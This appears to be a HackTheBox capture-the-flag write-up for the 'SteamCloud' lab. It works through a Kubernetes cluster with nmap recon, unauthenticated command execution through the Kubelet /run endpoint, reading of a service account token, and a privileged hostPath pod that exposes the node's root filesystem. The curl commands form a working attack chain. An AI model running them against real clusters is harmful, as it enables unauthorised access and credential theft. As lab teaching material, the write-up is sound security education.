HackTheBox - SteamCloud

Updated 29-03-2026

A Kubernetes cluster left partially exposed — a misconfigured node component allows unauthenticated command execution, and the resulting access is enough to spin up a privileged pod that reads the entire host filesystem.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
$ ip=10.129.96.167; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 01:17 -0400
Nmap scan report for 10.129.96.167
Host is up (0.22s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp open ssl/etcd-client?
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2026-03-27T05:09:05
|_Not valid after: 2027-03-27T05:09:06
2380/tcp open ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2026-03-27T05:09:05
|_Not valid after: 2027-03-27T05:09:06
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
8443/tcp open ssl/http Golang net/http server
| tls-alpn:
| h2
|_ http/1.1
| fingerprint-strings:
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.167, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2026-03-26T05:09:04
|_Not valid after: 2029-03-26T05:09:04
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (application/json).
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=steamcloud@1774588147
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2026-03-27T04:09:07
|_Not valid after: 2027-03-27T04:09:07
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.10 seconds

The scan reveals a full Kubernetes cluster surface:

  • 2379/tcp and 2380/tcp — etcd client and server over TLS (Kubernetes backend datastore)
  • 8443/tcp — Kubernetes API server; the certificate includes minikubeCA and control-plane.minikube.internal, confirming this is a Minikube cluster
  • 10250/tcp — Kubelet API over TLS
  • 10249/tcp and 10256/tcp — likely kube-proxy and node health components

Foothold

Kubernetes API Server — Anonymous Access Denied

The API server rejects unauthenticated requests:

1
2
3
4
5
6
7
8
9
10
11
$ curl -k https://10.129.96.167:8443   
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
"reason": "Forbidden",
"details": {},
"code": 403
}

Kubelet API — Unauthenticated Pod Listing

The Kubelet API on 10250 is misconfigured and does not require authentication. It exposes the full list of running pods:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ curl -sk https://10.129.96.167:10250/pods | jq
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "coredns-78fcd69978-5pkd6",
"generateName": "coredns-78fcd69978-",
"namespace": "kube-system",
"uid": "899195d2-addb-4095-a7c8-4ea63a2329d4",
"resourceVersion": "459",
"creationTimestamp": "2026-03-27T05:09:31Z",
"labels": {
"k8s-app": "kube-dns",
"pod-template-hash": "78fcd69978"
},
<--SNIP-->

We use an LLM to parse the output to give us all running pods formatted as namespace/pod/container:

1
2
3
4
5
6
7
8
kube-system/kube-apiserver-steamcloud/kube-apiserver
kube-system/kube-controller-manager-steamcloud/kube-controller-manager
kube-system/kube-scheduler-steamcloud/kube-scheduler
kube-system/kube-proxy-v64f9/kube-proxy
kube-system/storage-provisioner/storage-provisioner
kube-system/coredns-78fcd69978-5pkd6/coredns
kube-system/etcd-steamcloud/etcd
default/nginx/nginx

Kubelet API — Unauthenticated Command Execution

The Kubelet’s /run endpoint allows executing commands inside a running container without any authentication. Test RCE on the nginx pod in the default namespace:

1
2
$ curl -sk "https://10.129.96.167:10250/run/default/nginx/nginx" -d "cmd=id" 
uid=0(root) gid=0(root) groups=0(root)

The container runs as root. Extract the Kubernetes service account token, which will let us authenticate to the API server:

1
2
$ curl -sk "https://10.129.96.167:10250/run/default/nginx/nginx" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUz...SNIPPED

Save the token:

1
$ TOKEN="eyJhbGciOiJSUz...SNIPPED"

User Flag

Querying the API with the token reveals that the nginx pod has a volume named flag mounted at /root:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl -k -H "Authorization: Bearer $TOKEN" \
https://10.129.96.167:8443/api/v1/namespaces/default/pods
<--SNIP-->
"containers": [
{
"name": "nginx",
"image": "nginx:1.14.2",
"volumeMounts": [
{
"name": "flag",
"mountPath": "/root"
},
<--SNIP-->

Read the flag directly via the Kubelet exec endpoint:

1
2
3
4
5
6
$ curl -k -XPOST "https://10.129.96.167:10250/run/default/nginx/nginx" \
-d "cmd=ls /root"
user.txt

$ curl -k -XPOST "https://10.129.96.167:10250/run/default/nginx/nginx" \
-d "cmd=cat /root/user.txt"

Privilege Escalation

Privileged Pod with Host Filesystem Mount

The service account token has sufficient permissions to create new pods via the API server. We create a privileged pod that mounts the entire host filesystem at /host. Because the pod runs with privileged: true and uses a hostPath volume pointing to /, we gain unrestricted read access to the underlying node’s filesystem — including /root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ curl -k -XPOST "https://10.129.96.167:8443/api/v1/namespaces/default/pods" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": { "name": "pwned" },
"spec": {
"containers": [{
"name": "pwned",
"image": "nginx:1.14.2",
"imagePullPolicy": "Never",
"command": ["/bin/sh", "-c", "sleep 99999"],
"volumeMounts": [{
"mountPath": "/host",
"name": "host"
}],
"securityContext": {
"privileged": true
}
}],
"volumes": [{
"name": "host",
"hostPath": { "path": "/" }
}]
}
}'

Once the pod is running, read the root flag via the Kubelet exec endpoint:

1
2
$ curl -k -XPOST "https://10.129.96.167:10250/run/default/pwned/pwned" \
-d "cmd=cat /host/root/root.txt"